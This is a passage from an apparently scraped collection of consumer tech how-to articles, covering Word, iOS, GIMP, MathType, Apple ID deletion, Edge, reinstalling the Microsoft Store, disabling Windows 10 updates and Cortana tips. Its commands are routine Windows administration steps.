Collapse the Ribbon .\n  When the Ribbon is enlarged, you will see the arrow pointing up in the right corner of the Ribbon . Click on the arrow to zoom out the Ribbon .\n  To access a Tab when the Ribbon is minimized, simply click on it. After you select this option, the Ribbon will be minimized again.\n  If you want to enlarge the Ribbon a tab with a miniature Ribbon , click the thumbtack icon in the left corner of the Ribbon , or press Ctrl + F1.\n  \nExplore more:  Backup and restore Office 2010 Ribbon toolbar   MS Word: Create page title (Header) and footer (Footer)   Instructions for transferring PDF files to Word are free of Vietnamese errors  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktaqwxGaroZ1dp7ajrs6nZK2nn6Gvor6MoqVmr5%2BnsW5%2Bj2pq\n","link":"/post/hide-the-ribbon-toolbar-in-word-2013/","section":"post","tags":null,"title":"Hide the Ribbon toolbar in Word 2013"},{"body":"Downloading on iOS 13 is a major improvement to help users do not need to use the app that supports downloading anymore. To optimize memory, you can change the download folder on iCloud or on your device memory and let's follow the instructions to change the download folder for iPhone and iPad in the article below!\n  1. Change the Safari download folder Step 1: Go to Settings =\u0026gt; Safari (1) =\u0026gt; Downloads (2) .\n  Step 2: Go to Other (1) =\u0026gt; touch the New Folder icon (2) =\u0026gt; name the folder (3) =\u0026gt; Done (4) .\n  Step 3: You touch the newly created folder (1) =\u0026gt; Done (2) to finish changing the download folder from Safari.\n  2. Change the download folder for File Step 1: Open the File app (1) =\u0026gt; touch the 3-dot icon (2) .\n  Step 2: Choose Edit (1) =\u0026gt; switch the switch to On of cloud storage applications such as Google Drive, Dropbox or OneDrive (2) .\n  Then you touch Done to save the settings. Each download-enabled application will assist you to save directly to cloud applications quickly and bring you huge storage.\n  With instructions to change the download folder iPhone, iPad, the reader can manage the size and download files on the iPhone more effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llKTEr7jOmptmnp%2Bhsaa%2BjKKnoaeemnqiusNmoKmZlA%3D%3D\n","link":"/post/how-to-change-the-download-folder-iphone-and-ipad/","section":"post","tags":null,"title":"How to change the download folder iPhone and iPad"},{"body":"Just like other computer hardware devices, hard drives also have a certain \"usage time limit\". Therefore, we need to check the \"health\" periodically for the hard drive to avoid unfortunate incidents that may cause loss of data that you save in it. Please refer to the article below to know how to check the health of computer hard drive offline.\n1. Check with WMIC command in Command Promt First, press Windows + R to open the Run dialog box. Then enter cmd and press Enter to open the Command Prompt window\n  In the Command Promt interface, type wmic and press Enter to turn on WMIC .\n  Next, enter the diskdrive get status command and press Enter to check the current status of the hard drive\n  If the screen appears OK, then the hard drive is still \"good\".\n  2. Check with Windows CHKDSK Tool Windows CHKDSK Tool is a built-in Windows utility to help users conduct scans, find and detect system errors, as well as the status of hard drives. Besides, this tool also provides the ability to fix problems that it can fix.\nFirst, right-click on the hard drive partition you want to check and select Properties\n  When the Properties dialog box opens, select the Tools tab and then click the Check button\n  When the message dialog box appears, click Scan Drive so the checkout process starts\n  You wait a moment for the checkout process to complete\n  When the following message appears, click Close to close\n  3. Check with CrystalDiskInfo software Download CrystalDiskInfo software\nAfter successful installation, open the application, it will display full information about the hard drive status, temperature and hard drive data details.\n  Ways to check the status of the hard drive with Video tutorial. Signs that you should replace the hard drive Tips when choosing to buy a portable hard drive Notes when buying a computer hard drive Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCseceaqZ1llKe2t7GMoZyapKSdeqq6jGxksJmpqA%3D%3D\n","link":"/post/how-to-check-hard-drive-health-in-3-ways/","section":"post","tags":null,"title":"How to check hard drive health in 3 ways"},{"body":"Part of the GNU community in the field of free software, GIMP - short for GNU Image Manipulation Program - provides a cost-effective and powerful solution that replaces other expensive photo editing software. like Adobe Photoshop, MacPhun Luminar or Corel PaintShop.\nLike those programs, GIMP's tools allow you to cut, manipulate layers, edit colors and modify digital images. These tools include a collection of automatic filters that copy many graphic designs and art styles ranging from cartoons to oil paintings. You can download GIMP completely for free and use it on Windows, Linux and OS X platforms. As of August 2018, the latest version of GIMP is 2.10.6. A huge plus is that GIMP's basic visual interface is not too big on platforms and versions. Therefore, no matter which platform or version you choose, the process of converting images into sketches remains the same. To make a photo look like a sketch drawing with GIMP, you'll have to manipulate the software that comes with the software.\nSketch pictures   Click on the \"File\" menu of GIMP and the \"Open\" option to open the image you want to use to create a sketch. GIMP supports digital image file formats including JPEG, GIF, PNG and TIFF.\nIf you just want a specific part of the image to look like a sketch, select Free Select Tool from the toolbox (click \"Tools\" and select \"New Toolbox\" to make the toolbox appear). To use Free Select Tool , click and hold the left mouse button, then drag around the image to create a border. When you create a complete closed loop, the Line Drawing filter will only affect the area inside the border. Close the Free Select Tool and keep the image intact to prepare for the next transition.\nReduce the original color of the image to the basic colors Click \"Colors\" (among the options like \"File\" and \"Tools\" in GIMP's top toolbar) and select \"Posterize\". The slider appears that allows you to reduce the total number of colors in the image - from 2 to 200 - finally helping GIMP easily convert visual data into sketched images. Adjust the slider to select fewer colors for less detailed sketches or more colors to increase image detail.\nMake sure the \"Preview\" box is selected so you can see how moving the slider will affect your image and then press \"OK\" when you're done.\n  Apply filter Now your image has been reduced to the basic colors and it looks great. Are you ready to apply sketching effect? Press the menu \"Filters\", then select \"Artistic\" and \"Cartoon\". The Cartoon filter menu gives you two options to adjust: Mask Radius and Percent Black. The lower the Radius mask, the effect on your photo. Increasing the Percent Black slider will create ink-like lines, giving the image a more bold and daring appearance, whereas this slider will create thin lines. than.\nWhen you have adjusted the options to your liking, click \"OK\" to apply the filter.\nRefine the appearance of the image   Although you can use sketching effects through GIMP's Cartoon filter, a few simple edits can help you get really good quality images.\nOnce again, Posterize can bring a pop-art style like a comic book, after eliminating it. This process is done by clicking \"Colors\", then selecting \"Desaturate\", to create a simple, high contrast black and white image. Also in the Colors menu , the \"Brightness-Contrast\" option opens the brightness and contrast slider. You can make general adjustments to make the final product more visual effects.\nGood luck!\nSee more:\n8 best GIMP plugins and how to install them How to use Paintbrush in GIMP Create ghosts in Photoshop or GIMP ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmoKaZl5rAbrXNraZmq5uawaS0xKxkoqZdnLauvA%3D%3D\n","link":"/post/how-to-convert-images-into-sketches-in-gimp/","section":"post","tags":null,"title":"How to convert images into sketches in GIMP"},{"body":"MathType is a tool to support importing and editing math formulas, very well supported on office editing tools, including PowerPoint. And to make it easier for users to use it, MathType provides shortcut keys for each math symbol to use. Instead of having to sit and click on each character, just press the key combination to use it.\nBesides the shortcuts provided by MathType, users can set up shortcuts for symbols, use them more conveniently and familiarly. The following article will guide you how to create shortcuts on MathType.\nSummary of common Microsoft Word shortcuts Summary of expensive shortcuts in Microsoft Excel Summary of useful shortcuts in PowerPoint Instructions for creating shortcuts on MathType Download MathType software Step 1:\nWe start the MathType software on the computer and then click on Preferences and choose Customize Keyboard .\n  Step 2:\nNew interface appears. Here you will see a list with options to create shortcuts for use on MathType.\n  Formatting : Include shortcuts for element formatting operations in math formulas, especially in equations.\n  Recently Used Symbols and Templates : Recently used symbols on MathType.\nMenu Commands : Commands on the menu bar.\n  Navigation and Selection : Commands to move symbols and select symbols in the current equation.\n  Keyboard Modifiers : These shortcuts only affect subsequent input characters.\n  Toolbar Commands : Shortcuts for commands in the toolbar.\n  Windows Control : Related commands in the application window such as zoom in, zoom out.\n  All Symbols and All Templates : Includes MathType templates and icons.\n  Step 3:\nTo create shortcuts for MathType commands, or math symbols, users can click on any icon. Then go to the Enter new shortcut key section to enter the key combination, then click Assign next to it.\nUsers can change the shortcut already set on MathType. When you return to the MathType interface, you can use the newly set shortcut.\n  In addition, we can also directly add shortcuts to icons, if you have trouble visualizing shortcuts in the list. At the console click on Edit , then select Insert Symbol .\n  The new table appears with commonly used symbols in Mathematics. Here, click on the symbol and enter the shortcut you want to use in the Enter new shortcut key (s) below. Also click Assign to save.\n  In case the user wants to enter the formula but doesn't know how to describe it, or use the same icon, click Edit to select Open Math Input Panel .\n  We write the formula into the interface that appears. The recipe writing tool will appear on the right side of the interface. After entering, click Insert below.\n  Immediately the recipe will display in MathType's interface.\n  Above is how to create shortcuts for symbols, enter math formulas on MathType. With a shortcut key combination, the typing process is faster, when you can enter a new key combination for the character or replace the existing key combination. Particularly, the formula for MathType is written.\nSee more:\nHow to insert Math expressions on Word 2007 Effective mobile math solutions Instructions for inserting Math formulas in Word 2016 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYysn6iqpJjCtb%2BMqKVmpZGptbXFz54%3D\n","link":"/post/how-to-create-shortcuts-on-mathtype/","section":"post","tags":null,"title":"How to create shortcuts on MathType"},{"body":"Apple launched the Data and Privacy page (Data and Privacy), allowing you to request changes to data shared with the company. It also allows you to delete Apple ID accounts and related data.\nBefore deleting your account, you need to take steps to delete the devices associated with Apple ID, turn off Find My iPhone / iPad / Mac feature and log out of your Apple ID account.\nHow to delete an Apple ID account Visit Apple's Data and privacy page at privacy.apple.com. Log in with your Apple ID and password. Enter the two-factor authentication code if required. Click Continue . Click Get started below the section Delete your account . Review the information related to account deletion.   Apple will verify all requests and notice this process may take up to 7 days to complete.\nFollow the required steps (data backup, device logout, etc.) Select the reason for deleting the account. Click Continue .     Review information related to account deletion (again). Click Continue. Review the Deletion Terms \u0026amp; Conditions and select to confirm that you have read and agreed to the terms. Click Continue. Select the contact method used to receive account status updates. Click Continue.       Write or print your unique access code. This information will be used to verify your identity if you need to contact Apple Support.\nThis code can also be used to cancel the account deletion process.\nEnter the access code to confirm. Click Continue . Click on Delete account to delete the account and related data. Apple will start the verification process before deleting your account. Your account will remain active during this time.\nThe verification process may take up to 7 days to complete.\n      If you access the Apple Data and privacy page with the account you are deleting, you will see a notification on the right side of the website indicating that your account is being deleted.\n  See more:\nHow to delete iCloud account on iPhone How to temporarily disable and permanently delete your Twitter account Instructions for deleting Google accounts permanently How to permanently delete Instagram account and temporarily disable it How to permanently delete a Facebook account on a computer ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyapWaZoKW5pnnInWSam5Okwq%2FA\n","link":"/post/how-to-delete-an-apple-id-account/","section":"post","tags":null,"title":"How to delete an Apple ID account"},{"body":"With the new Microsoft Edge, when you start typing a search query in the address bar, you'll get suggestions from your default search engine. If you don't want to see those things anymore, here's how to turn them off.\nDisable search suggestions in Microsoft Edge To get started, launch Microsoft Edge and click the Options button (three dots) in the upper right corner, then select Settings.\n Click the Options button, then select Settings Next from the Settings page, click Privacy and services . Scroll down on the page and select Address bar in the Services section near the bottom.\n Select the Address bar in the Services section Now on the next page, turn off the 'Show me search and site suggestions using my typed characters' option .\n Turn off the 'Show me search and site suggestions using my typed characters' option All operations are completed! When you type a search query in the address bar, you will no longer see a list of suggestions for your default search engine. However, you will still see suggestions from your search history as well as from your favorites.\nChange search engine Note that here, you can also change the search engine for Edge. It is set to Bing by default, but you can change it to any other tool you want, including Google or Duck Duck Go. To learn more about that, read TipsMake.com 's article about changing the default Microsoft Edge search engine.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKydkaewqXnSrp6gnaOptrC60magp2WdnrCzu9Kona1llZm0pg%3D%3D\n","link":"/post/how-to-turn-off-search-suggestions-in-microsoft-edge/","section":"post","tags":null,"title":"How to turn off search suggestions in Microsoft Edge"},{"body":"Changing account picture on Windows 8 is extremely easy.This is also a good option to help users personalize their Windows 8. The article will guide users to do this.\nFrom the Windows 8 Start screen start screen, right-click the empty avatar and select Change account picture . Users can also change the avatar in the PC Settings system settings, where we can customize both the boot screen and the lock screen.\n  Take a picture by clicking on the camera icon under Create an account picture or choose Browse to find the image available on the hard drive.\n  Get a photo from the gallery or from any folder that has the image the user needs and click on the image.\n  After selecting the image, click Choose Image to save it.\n    Press the Windows key to return to the Start Screen start screen. Now the new avatar will be displayed in both the main start screen and login screen or lock screen.\n    Although simple, this is a great way to personalize your Windows 8 version.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJygkaO0pnnYqKyrZZGrrrWt0Wamp2Wnnrulu9asZHE%3D\n","link":"/post/instructions-to-change-your-avatar-on-windows-8/","section":"post","tags":null,"title":"Instructions to change your avatar on Windows 8"},{"body":"Microsoft has quietly released a SP1 update for Office 2013 users to improve security, performance, and stability as well as merge with previous updates.\n  This is the first update for Office 2013 office application since it was officially released on January 29, 2013, and Microsoft said users can receive a message to download the SP1 package through Windows. Update at the earliest within 30 days.\nThe new update will be compatible with Windows 8.1 and Internet Explorer 11, better supported for modern hardware such as high-resolution screens and high-precision touchpads.\nThe new application will also help develop some hidden features and APIs for developers, and add some features like Power Map for Excel in Office 365 ProPlus, a visual 3D tool to be able to mapping, exploring interacting with geographic data in Excel.\nSome other changes focus on improving Click-to-Run virtualization technology to install and update computer applications for Office 365. Meanwhile, cloud storage service is built into SkyDrive. Pro has been converted into OneDrive for Business.\n  Microsoft also said that Office 2013 SP1 will include all the public updates and cumulative updates it has released between the time when Office 2013 launched so far. Office RT users on Windows RT will also receive the update starting today (February 25).\nIf you do not want to receive automatic updates via Windows Update, interested users can download two 32-bit versions here, or 64 bit here.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYr%2BmuMSaqp6cXaiys8LInJxmqJGYuG59jK6nnZmkmnqnu9Fmpp%2BemZiybn6Pamo%3D\n","link":"/post/microsoft-released-service-pack-1-update-for-office-2013/","section":"post","tags":null,"title":"Microsoft released Service Pack 1 update for Office 2013"},{"body":"According to Neowin, Microsoft's Windows Twitter account posted a promotional video for Windows 1.0, which made many people feel curious and nostalgic about the first version of Windows.\nThe video is only 13 seconds long and annotated with the content: ' Introducing completely new Windows 1.0, with MS-Dos Executive, watches and more'.\nIn the video, except the logo, there are no documents about the original version of this operating system. The video starts with the Windows 10 logo, then goes back in time to the logos and finally Windows 1.0.\n  The new avatar of Microsoft Windows Twitter account has also been replaced with the Windows 1.0 logo.\nIt is unclear what the purpose of this post for Microsoft is, but many people think it is just a funny video that someone has made. It is also said that this is an April Fool's game from 3 months ago and was banned by CMO Chris Capossela.\n   Windows 1.0 operating system was released by Microsoft in November 1985 with the original name of Interface Manager. The first version of Windows had only a few basic utilities, Windows Paint graphics program, Windows Write text editor, calendar set, notepad and a clock.\nHistory of Microsoft Windows operating system throughout the ages ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsC2sMOepaWxXaGutrrCoZydZZFiw6qwxKhkq52dnruqv8Kepa1ln5t6uLXNnaawq11mfQ%3D%3D\n","link":"/post/microsoft-suddenly-launched-a-video-reminiscent-of-windows-1-0/","section":"post","tags":null,"title":"Microsoft suddenly launched a video reminiscent of Windows 1.0"},{"body":"Microsoft will release a version of Skype that works on browsers without requiring users to install plu-gin or any additional utilities, according to WP Sauce blog.\n  Microsoft recently posted 3 employees for the \"Skype on Browser\" group (Skype for Browsers).\nThe mission of future employees will be \"to help Microsoft deploy Skype on the network\". Two of these three positions require candidates to have \"HTML5 user interface creation experience\".\nThe above employment information is posted on the Microsoft website from March 22 to April 14. Two new employees will work in the London office (UK), the third employee working in Prague (Prague - Czech Republic).\nThe ability to create HTML5 video chat applications and WebRTC protocols has been mentioned by Google and Mozilla. Google is a developer of Chrome browser and Mozilla is a Firefox browser developer. Firefox trial version supporting WebRTC was introduced by Mozilla in early April 2012.\nSkype Internet phone service is owned by Microsoft. The company bought Skype in 2011 for $ 8.5 billion.\nSo far, to communicate on Skype, users have to install the software (client) on a computer or mobile device. Social network Facebook has integrated Skype, but requires a special add-on.\nncG1vNJzZmismaXArq3KnmWcp51kwKzFz55ksKGcoXqjsYybrKKkpGK2r8DOZpmrp6eosrO%2F\n","link":"/post/skype-will-be-built-into-browsers/","section":"post","tags":null,"title":"Skype will be built into browsers"},{"body":"1. Reinstall Microsoft Store with RUN The RUN window will allow you to quickly access other applications on the computer and in this case we will access the launch file, clear the cache of the Microsoft Store.\nStep 1: At the main interface of the Desktop screen, you proceed to open the Start Menu and enter RUN to open the application launcher.\n  Step 2: When the RUN window appears, proceed to enter the Wsreset.exe command and press Enter to run. After running, Microsoft Store will be re-enabled on your computer and automatically start up for you to use.\n  2. Reinstall Microsoft Store in Settings Settings offers a wide range of Microsoft services and among them is the Microsoft Store tool.\nStep 1: You proceed to open Settings by clicking on the Start Menu and entering Settings or pressing the Windows + I combination .\n  Step 2: Then, select Apps to open all applications on Windows.\n  Step 3: In the application window, go to the Microsoft Store section and select Advanced options .\n  Step 4: Next, scroll down to the bottom to find the Reset item and click Reset to confirm the reinstallation of Microsoft Store.\n  3. Reinstall Microsoft Store in PowerShell Powershell is a script on Windows and they work similar to Command Prompt .\nStep 1: You proceed to right-click on the Start Menu to display the options panel and navigate to the Windows PowerShell (Admin) section to open it.\n  Step 2: When the PowerShell window appears, copy (Ctrl + C) the following command to paste it into the dialog box.\nGet-AppxPackage -allusers Microsoft.WindowsStore | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register '$($_.InstallLocation)AppXManifest.xml'} Note: To paste data in PowerShell you will need to use the right mouse button (Right click), the Ctrl + V shortcut does not work.\n  Step 3: When the command is pasted into PowerShell, press Enter to launch.\n  Step 4: When the system is finished running, you will receive a message similar to the picture (only appears for 3 seconds and then disappears). Now please restart your computer to check.\n  In this article, Tipsmake has shown you how to reinstall Microsoft Store on Windows 10 quickly and effectively. Have a nice day!\nMicrosoft Store ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7KqutKtmKWkXaK2pL7OrKafrF2owbC%2BxGamp2Wnnrulu9asZGpo\n","link":"/post/steps-to-reinstall-microsoft-store-on-windows-10/","section":"post","tags":null,"title":"Steps to reinstall Microsoft Store on Windows 10"},{"body":"Windows 10 has come to users, but after Windows 10 installation is complete, the Update feature is still there. In addition, on Windows 10, Microsoft no longer integrates the option to turn off the update completely but the process of updating (updating) takes place automatically, not informing the user.\nFor most users, the Windows Update will slow down the system, may cause incompatible errors, when you need to shutdown, you have to wait for Windows to update very long and annoyed . and the following article of TipsMake. com will guide you how to turn off the automatic update feature on Windows 10! Because Windows 10 is constantly updated, if way 1 is not possible, then try the second way, the third way . okay, I test the first time, the first way is okay, then update, I have to use the combination of ways 1 and 2 .\nWays to turn off the Win 10 update 1. Turn off Windows 10 update using Group Policy Editor 2. Turn off updates on Win 10 with services.msc \n3. Block Windows 10 updates according to instructions from Microsoft 4. Turn off Windows Update on Windows 10 using Administrative Tools 5. Set up WiFi connection in Metered connection mode to suspend automatic updates on Windows 10 6. Windows 10 Home patch allows you to turn off automatic application updates 7. Turn off specific Windows 10 updates 1. Turn off Windows 10 update using Group Policy Editor To turn off auto-update on Windows 10 , follow the steps below:\nStep 1: Open Group Policy Editor, press Windows + R key to open the Run command window, then enter gpedit.msc into it and press Enter.\nStep 2: On the Group Policy Editor window you navigate by key: Computer Configuration =\u0026gt; Administrative Templates =\u0026gt; Windows Components =\u0026gt; Windows Update\nStep 3: Find the Configure Automatic Update , double-click it and select Disabled, then proceed to save and change it.\n  How to turn off Windows updates with Group Pololicy Editor\nYou can monitor how to turn off Windows 10 update in the animation below:\n  2. Turn off updates on Win 10 with services.msc If method 1 still hasn't completely blocked updates on Windows 10, try adding this method:\nPress Windows + R to open run \u0026gt; type services.msc \u0026gt; press Enter or go through the path:\n Control PanelAll Control Panel Items Administrative Tools  Navigate to the Windows Update section (scroll down to the bottom), double-click it to bring up the window as follows:\n  At the General Search Startup type \u0026gt; tab, click the arrow in the box and select Disabled. OK to save changes, restart your computer and check Windows Update. Note: If you do it this way, Windows Defender will not be able to Update anymore, it will be quite dangerous if your computer does not install antivirus software for Windows yet. If you just want to delay updating Windows 10, wait until the update is complete, then in the Startup Type, select Automatic (Delayed Start) . At that time, Windows 10 will allow postponing the update 3 days, every 3 days after you choose to postpone.\n3. Block Windows 10 updates according to instructions from Microsoft Enter regedit in the search box, press Enter to open the registry window.\nCopy and paste the following link into the address bar just below the File | Edit | View | Favorites | Help menu:\n HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdateAU    Double-click NoAutoUpdate , in Value data , enter 1 then click OK as shown:\n  After completing the value of NoAutoUpdate will now be 0x00000001 (1). If you want to let Windows 10 update automatically again, you change the Value data value in the previous step to 0.\n4. Turn off Windows Update on Windows 10 using Administrative Tools At the Desktop interface, you press the window key and type update :\n  There are many options here, click Windows Update settings or Advanced Windows Update options. The next window displays, you select the mode Notify to schedule restart instead of Automatic , remove the check box in the 2 boxes below:\n  Another new feature in Windows 10 is the system that allows updating via peer computers (p2p). Understanding this is like this: when updating, a computer will be considered a \"host\", while other peer machines will update through that \"host\". This will help users save bandwidth, and updating will be faster than downloading directly from the Internet. And to turn off this type of update, you click on the link Choose how updates are delivered :\n  Turn On mode to Off.\n5. Set up WiFi connection in Metered connection mode to suspend automatic updates on Windows 10 If you want to disable Windows 10 automatically, you can take advantage of the Metered Connection feature to delay automatic updates.\nNote: This option only works with WiFi because Windows 10 cannot consider any other Ethernet type to Metered Connection\nIf your Internet connection has limited data, this feature can help a lot because you can install them at the right time.\nTo enable the Set as metered connection option, follow these steps:\n1. On a Windows 10 computer, open the Start Menu.\n2. Go to Settings .\n3. When the Settings window opens, click Network \u0026amp; Internet .\n4. Click Wi-Fi in the left pane.\n5. Now, click Manage known networks.\n  6. Click on the name of the wireless connection.\n7. Click on the Properties button. Now scroll down to find the Metered Connections title.\n8. Then turn on the Set button as the metered connection .\n  This way, you can pause Windows 10 updates for a while in case you run out of monthly usage.\n6. Windows 10 Home patch allows you to turn off automatic application updates This option only works for application updates. If you want to continue to receive security updates and fix Windows 10 errors, you can use this method.\nIn Cumulative Update 5, Microsoft has enabled automatic application updates to be turned off. If you do not have this patch, go to Settings\u0026gt; Update \u0026amp; Security\u0026gt; Windows Update and be sure to get the latest Windows patch.\nThen, open the Store app and click the Profile button in the toolbar. Here you can turn off automatic app updates to disable automatic updates of Windows 10.\n7. Turn off specific Windows 10 updates On the Windows website, there is a \"show or hide updates\" tool that allows users to disable or hide specific Windows 10 updates. You just need to download this tool and install it. Follow the instructions and disable problematic updates.\n  Refer to some of the following articles:\nHere's how to completely disable Windows Defender on Windows 10, 7 and Windows Vista Displays CPU information via Command Prompt on Windows 10 Guide to quickly fix \"Inaccessible Boot Device\" error on Windows 10/8/7 and Windows Vista Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dqbWmedaipWZpYGLCsbDArZxmq6SkvW7DyKebqK%2BjYn5xecWrpqZlpaWxosDIp55mmaWpvK6t06KamqScrg%3D%3D\n","link":"/post/turn-off-the-win-10-update-stop-windows-10-from-updating-automatically/","section":"post","tags":null,"title":"Turn off the Win 10 update, stop Windows 10 from updating automatically"},{"body":"Microsoft's virtual assistant, Cortana, is one of the best features introduced in Windows 10. This artificial intelligence tool provides many features for more efficient use of computers and improved productivity. yours.\nHowever, most of us don't know much about Cortana's features. Tips and tricks for using Cortana can make our lives easier. That's why, this article will summarize a list of tips and tricks to help you make the most of Cortana on desktops and mobile phones using Windows 10.\nNote : Cortana commands, when spoken, should begin with \" Hey Cortana, . \"\n18 tips and tricks to make the most of Cortana 1. Perform specific searches 2. Track delivery packages and flights 3. Set 3 types of reminders 4. Technical support questions 5. Translate words and phrases 6. Send text messages from PC 7. Search in natural language 8. Identify music genres and songs 9. Calculate and convert numbers 10. Find events and get answers 11. Find places and directions 12. Send email directly 13. Create an event on the Calendar application 14. Use Cortana inside Edge 15. Set alarms and reminders 16. Display the lyrics 17. Control your computer 18. Update news 1. Perform specific searches Cortana is smart enough to show you the most relevant results at the top of the results list, but that's not entirely true in every situation. That is why, it provides options for you to control your search.\nTo get the most relevant and relevant results, narrow your search query by using specific information like:\nOperators Search using file names, wildcards ( ? And * ), extensions (eg .doc, .exe, etc.) and standard arithmetic operators.\nLocation Search in a specific location including OneDrive, Internet, Windows Store or local storage drive (like C drive :)\nCategories Search in a specific category by writing that category name with a colon ( :) and your query to get search results based on categories. Below is a list of categories (with examples) to get suggestions from:\nApps: Edge (showing different applications in Windows Store) Documents: Report (shows all documents with similar names) Folders: Blog (displays all folders named 'blog') Music: Bob Dylan (displays all related songs and albums) Photos: Birds (display images with similar names) Settings: Region and Language (display required settings) Videos: Vacation in Venezuela (show all videos with similar names) Web: Windows 10 (displays information related to this query from the web)   2. Track delivery packages and flights As a smart assistant, Cortana also tracks flight numbers and courier packages through their tracking numbers.\nIt automatically tracks flights and delivery packages with details found in your configured email. You can also track the information manually, if the relevant information is not found in your email.\nThis tool allows tracking delivery packages from services such as DHL, UPS, FedEx, etc., retailers such as Amazon, eBay, Walmart, etc. . and supports different airlines.\nFollow these steps to manually track flight information or courier packages:\nEnter the flight number or courier package number in Cortana's search box. After Cortana authenticates the information, click Track your package (this step is for courier packages only). You can see the search results in the Best match section.   3. Set 3 types of reminders You can set up time-based, location-based or human-based reminders using Cortana on PC and receive reminders on your mobile device.\nThe reminder is based on the time that appears at the predefined timelines, and the location-based reminder will be based on the location on your mobile device. If it is a human-based prompt, it will appear when you receive a call or message from that person.\nFollow these steps to set a reminder:\nClick on Cortana's search box, then enter or say the prompt query. Click Set a reminder , then Cortana will ask you if you want the reminder based on the person, location or time. After setting the required information, click the Remind button. Here are a few sample queries to set reminders:\n\"Remind me to pick up the dry cleaning at 8PM day after tomorrow\" - \"Remind me to dry clean at 8pm the other day\". \"Remind me to buy the watch for John on 25 December this year\" - \"Remind me to buy watches for John on December 25 this year\" \"Remind me when I call Sandhya calls or messages\" - \"Remind me to congratulate me when Sandhya calls or texts me\"   4. Technical support questions Cortana helps you get technical support for specific queries and provides the information requested in its application window. Your query can also be redirected to Windows Help \u0026amp; Support, Microsoft Bing (search engines) or Microsoft support pages on Microsoft Edge.\nHere are a few sample queries to get technical support:\n\"How do I connect to Wi-Fi?\" - \"How to connect to Wi-Fi?\" \"How do I create a backup?\" - \"How do I create a backup?\" \"How do I change my background?\" - \"How do I change my wallpaper?\"   5. Translate words and phrases Cortana can translate phrases and sentences with 50 different languages. You are asked to enter or speak the phrase (as a query) in Cortana's search box and this artificial intelligence tool will translate the language you want.\nFollow these steps to translate with Cortana:\nClick on Cortana's search box Enter \" Translate \", then enter the phrase and \" to French \" (in case you want to translate the phrase into French) Here are a few phrases or example queries to create translations:\n\"How do I say good morning in French?\" - \"How to say good morning in French?\" \"Translate hello there to Spanish\" - \"Translate hello to Spanish\"   6. Send text messages from PC Cortana is a great solution if you want to send a message without being close to the phone or too busy to pick up your cell phone. You can still use this tool to send text messages from your computer (like sending from your phone).\nFollow these steps to send a message:\nOpen Cortana and in its search box, enter \" Send text to \". Enter the recipient's name from your contact list and press Enter . Then, type your message in the message box and click the Send button. In case it is a new contact (not listed in your directory), you first need to add that number to the previous contact list. To do this, you can install the People app in Windows 10 and save the contact there (it syncs with your phone).\n  7. Search in natural language Cortana is interactive and user-friendly, as well as enabling natural language queries like Apple's Siri and Google Now. This means you can talk to Cortana just like when you talk to a real person and it will answer you back.\nWhy is Cortana different from Siri and Google Now? You can follow these steps to search in natural language:\nEnter or speak your query inside Cortana's search box. Cortana automatically understands context and answers your query. Some examples of natural language search:\n\"Find documents for yesterday\" - \"Search documents yesterday\" \"What's the weather today?\" - \"How is the weather today?\"   8. Identify music genres and songs Cortana has a lot of interesting features. Identifying music and song genres is one of them. It not only can listen to and identify music genres, but it can also search the web to give you more details and description of the type of music or song being played.\nTo use this feature, follow these steps:\nClick inside Cortana's search box. Click the music note icon in the top right corner (see More , if it is not displayed or available). Or you can use query questions like:\n\"What song is playing?\" - \"What song is the song playing?\" \"What's the name of this song?\" - \"What is the name of this song?\" Cortana will display song title or track, album name and other details. You can click on the song to buy only it or its album from the Windows Store.\nNote that there are some regional restrictions on this feature and Cortana may not be able to identify music genres in unsupported areas. When I encounter this situation, it will reply \"I'm sorry, I don't recognize this song, Try again.\" - \"I'm sorry, I didn't recognize this song. Please try again.\"\n  9. Calculate and convert numbers Cortana, in addition to the features mentioned above, can help you perform basic arithmetic operations and simple conversions.\nThe tool can switch between different units such as currency, temperature, length, weight and amount of liquid, etc.\nYou can take the following steps to calculate or convert:\nClick on Cortana's search box. Say or enter \" Calculate \" or \" Convert \", followed by your query. Here are some sample queries for reference:\n\"Calculate 8 + 2 - 10/10\" - \"Calculate 8 + 2 - 10/10 \" \"Tell 30000 * 60 * 60 * 30\" - \"Calculate 30000 * 60 * 60 * 30\" \"Convert 10 USD to EUR\" - \"Convert 10 USD to EUR\" \"What's 90 meters in inches?\" - \"How many inches is 90 meters?\"   10. Find events and get answers Cortana can even become your tutor and help you find information faster than ever. This virtual assistant can provide you with basic information on a number of topics, not limited to metrics, definitions, holidays, movie information, travel destinations, currencies, time zones, etc. . important.\nHere are some sample queries that Cortana can answer:\n\"Who is Bill Gates?\" - \"Who is Bill Gates?\" \"When is Labor Day?\" - \"When is the American Labor Day?\" \"Define superfluous\" - \"What is 'unnecessary' definition\"   11. Find places and directions Cortana can help you locate and navigate to it with its companion app, Maps. Note that this feature requires you to pre-install Maps in Windows 10 and if not, you can search from the Windows Store.\nHere's what you can do to get directions with Cortana:\nEnter or say \" Directions to \" followed by the location you want to go, in Cortana's search box. Here are a few sample queries:\n\"Directions to Bloomington\" - \"Directions to Bloomington\" \"Directions to Central Park, New York City\" - \"Directions to Central Park, New York City \"   12. Send email directly Cortana allows you to send email directly without opening the email application or browser. Using this feature, you can simply say your requests and this personal assistant will send that email to help you.\nNote: For this feature to work, your email account must be configured with Cortana.\nHere are the steps to send email using Cortana:\nClick inside Cortana's search box. Enter or say \" Send an email to \" followed by the recipient. And, enter or say \" saying \", followed by the content of the email. After composing the email, you can edit it by saying \" make changes \". Finally if all information is ok, just say \" send \" to send the email.   13. Create an event on the Calendar application Cortana can 